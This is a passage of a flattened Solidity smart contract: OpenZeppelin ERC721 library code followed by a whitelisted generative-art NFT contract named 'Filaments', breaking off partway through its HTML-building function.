* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/Filaments.sol
// contracts/Filaments.sol
pragma solidity ^0.8.0;
contract Filaments is ERC721Enumerable, Ownable {
/*
_ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \
( F | I | L | A | M | E | N | T | S )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
credit 2 my mouse dev and 0xinuarashi for making amazing on chain project
that was used as the basis for this contract
*/
using AnonymiceLibrary for uint8;
struct Trait {
string traitName;
string traitType;
}
//Mappings
mapping(uint256 => Trait[]) public traitTypes;
mapping(string => bool) hashToMinted;
mapping(uint256 => string) internal tokenIdToHash;
//uint256s
uint256 MAX_SUPPLY = 500;
uint256 SEED_NONCE = 0;
//minting flag
bool public MINTING_LIVE = false;
uint256 public finalBlock;
//uint arrays
uint16[][10] TIERS;
//whitelist
mapping (address => bool) public whitelist;
uint256 public numWhitelisted;
//p5js url
string p5jsUrl;
string p5jsIntegrity;
string imageUrl;
string animationUrl;
constructor() ERC721("Filaments", "FLMTS") {
//Declare all the rarity tiers
//Palette
TIERS[0] = [100, 100, 100, 100, 100, 600, 600, 600, 600, 600, 600, 1000, 1000, 1000, 1300, 1600];
//Border
TIERS[1] = [2000, 8000];
//Number of lines
TIERS[2] = [1000, 1000, 1000, 7000];
//Thickness of lines
TIERS[3] = [100, 400, 500, 9000];
//Pixel size
TIERS[4] = [100, 9900];
//Noise scale
TIERS[5] = [100, 400, 500, 9000];
//Noise strength
TIERS[6] = [100, 400, 500, 9000];
//Left or right
TIERS[7] = [5000, 5000];
//Speed
TIERS[8] = [1000, 9000];
//Number of pre-iterations
TIERS[9] = [500, 500, 1000, 1000, 7000];
numWhitelisted = 0;
finalBlock = block.number + 192000;
}
/*
__ __ _ _ _ ___ _ _
| \/ (_)_ _| |_(_)_ _ __ _ | __| _ _ _ __| |_(_)___ _ _ ___
| |\/| | | ' \ _| | ' \/ _` | | _| || | ' \/ _| _| / _ \ ' \(_-<
|_| |_|_|_||_\__|_|_||_\__, | |_| \_,_|_||_\__|\__|_\___/_||_/__/
|___/
*/
/**
* @dev Converts a digit from 0 - 10000 into its corresponding rarity based on the given rarity tier.
* @param _randinput The input from 0 - 10000 to use for rarity gen.
* @param _rarityTier The tier to use.
*/
function rarityGen(uint256 _randinput, uint8 _rarityTier)
internal
view
returns (uint8)
{
uint16 currentLowerBound = 0;
for (uint8 i = 0; i < TIERS[_rarityTier].length; i++) {
uint16 thisPercentage = TIERS[_rarityTier][i];
if (
_randinput >= currentLowerBound &&
_randinput < currentLowerBound + thisPercentage
) return i;
currentLowerBound = currentLowerBound + thisPercentage;
}
revert();
}
/**
* @dev Generates a 11 digit hash from a tokenId, address, and random number.
* @param _t The token id to be used within the hash.
* @param _a The address to be used within the hash.
* @param _c The custom nonce to be used within the hash.
*/
function hash(
uint256 _t,
address _a,
uint256 _c
) internal returns (string memory) {
require(_c < 11);
// This will generate a 11 character string.
// The first 2 digits are the palette.
string memory currentHash = "";
for (uint8 i = 0; i < 10; i++) {
SEED_NONCE++;
uint16 _randinput = uint16(
uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.difficulty,
_t,
_a,
_c,
SEED_NONCE
)
)
) % 10000
);
if (i == 0) {
uint8 rar = rarityGen(_randinput, i);
if (rar > 9) {
currentHash = string(
abi.encodePacked(currentHash, rar.toString())
);
} else {
currentHash = string(
abi.encodePacked(currentHash, "0", rar.toString())
);
}
} else {
currentHash = string(
abi.encodePacked(currentHash, rarityGen(_randinput, i).toString())
);
}
}
if (hashToMinted[currentHash]) return hash(_t, _a, _c + 1);
return currentHash;
}
/**
* @dev Mint internal, this is to avoid code duplication.
*/
function mintInternal() internal {
require(MINTING_LIVE == true || msg.sender == owner(), "Minting is not live.");
require(isWhitelisted(msg.sender), "Must be whitelisted and can only mint 1");
uint256 _totalSupply = totalSupply();
require(_totalSupply < MAX_SUPPLY);
require(block.number < finalBlock);
require(!AnonymiceLibrary.isContract(msg.sender));
whitelist[msg.sender] = false;
uint256 thisTokenId = _totalSupply;
tokenIdToHash[thisTokenId] = hash(thisTokenId, msg.sender, 0);
hashToMinted[tokenIdToHash[thisTokenId]] = true;
_mint(msg.sender, thisTokenId);
}
/**
* @dev Mints new tokens.
*/
function mintFilament() public {
return mintInternal();
}
/*
____ ___ ____ ___ _____ __ __ ____ __ ______ ____ ___ ____ _____
| \ / _] / || \ | || | || \ / ] || |/ \ | \ / ___/
| D ) / [_ | o || \ | __|| | || _ | / /| | | || || _ ( \_
| / | _]| || D | | |_ | | || | |/ / |_| |_| | || O || | |\__ |
| \ | [_ | _ || | | _] | : || | / \_ | | | || || | |/ \ |
| . \| || | || | | | | || | \ | | | | || || | |\ |
|__|\_||_____||__|__||_____| |__| \__,_||__|__|\____| |__| |____|\___/ |__|__| \___|
*/
/**
* @dev Helper function to see if whitelisted
*/
function isWhitelisted(address _wallet) public view returns (bool) {
if (_wallet == owner()) {
return true; // Owner
}
return whitelist[_wallet];
}
/**
* @dev Hash to HTML function
*/
function hashToHTML(string memory _hash, uint256 _tokenId)
public
view
returns (string memory)
{
string memory htmlString = string(
abi.encodePacked(
'data:text/html,%3Chtml%3E%3Chead%3E%3Cscript%20src%3D%22',
p5jsUrl,
'%22%20integrity%3D%22',
p5jsIntegrity,
'%22%20crossorigin%3D%22anonymous%22%3E%3C%2Fscript%3E%3C%2Fhead%3E%3Cbody%3E%3Cscript%3Evar%20tokenId%3D',
AnonymiceLibrary.toString(_tokenId),
'%3Bvar%20hash%3D%22',
_hash
)
);
htmlString = string(
abi.encodePacked(
htmlString,
